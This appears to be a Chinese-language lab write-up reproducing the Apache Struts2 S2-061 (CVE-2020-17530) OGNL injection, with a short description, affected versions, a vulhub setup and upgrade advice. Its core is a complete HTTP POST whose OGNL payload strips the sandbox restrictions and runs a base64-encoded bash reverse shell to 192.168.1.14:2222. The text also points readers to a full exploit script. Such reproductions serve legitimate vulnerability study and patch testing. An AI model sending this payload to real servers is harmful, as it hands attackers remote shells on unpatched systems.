0x00 漏洞簡介
Apache Struts2框架是一個用於開發Java EE網絡應用程序的Web框架。Apache Struts於2020年12月08日披露 S2-061 Struts 遠程代碼執行漏洞(CVE-2020-17530)，在使用某些tag等情況下可能存在OGNL表達式注入漏洞，從而造成遠程代碼執行，風險極大。
0x01 漏洞描述
Struts2 會對某些標簽屬性(比如 `id`，其他屬性有待尋找) 的屬性值進行二次表達式解析，因此當這些標簽屬性中使用了 `%{x}` 且 `x` 的值用戶可控時，用戶再傳入一個 `%{payload}` 即可造成OGNL表達式執行。S2-061是對S2-059沙盒進行的繞過。
0x02 漏洞影響
struts 2.0.0 - struts 2.5.25 0x03 漏洞復現
0x03 環境搭建
環境機：ubantu
攻擊機：kali
使用vulhub 搭建
docker-compose up -d
不會的看這https://www.cnblogs.com/bflw/p/12534401.html
0x04 漏洞復現
證明方法有多重，這里直接演示彈shell
Bash 編碼
POST /index.action HTTP/1.1
Host: 192.168.1.14:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 922
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTQvMjIyMiAgIDA+JjE=}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
替換選中的bash反彈，kali監聽端口
彈shell完成。
腳本：
公眾號后台回復：s2-061腳本 領取
0x05 漏洞修復
避免對不受信任的用戶輸入使用強制OGNL評估，或/和升級到2.5.26版，可修復該漏洞。騰訊安全專家建議受影響的用戶將Apache Struts框架升級至最新版本
臨時修復，升級到 Struts 2.5.26 版本，下載地址為：
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26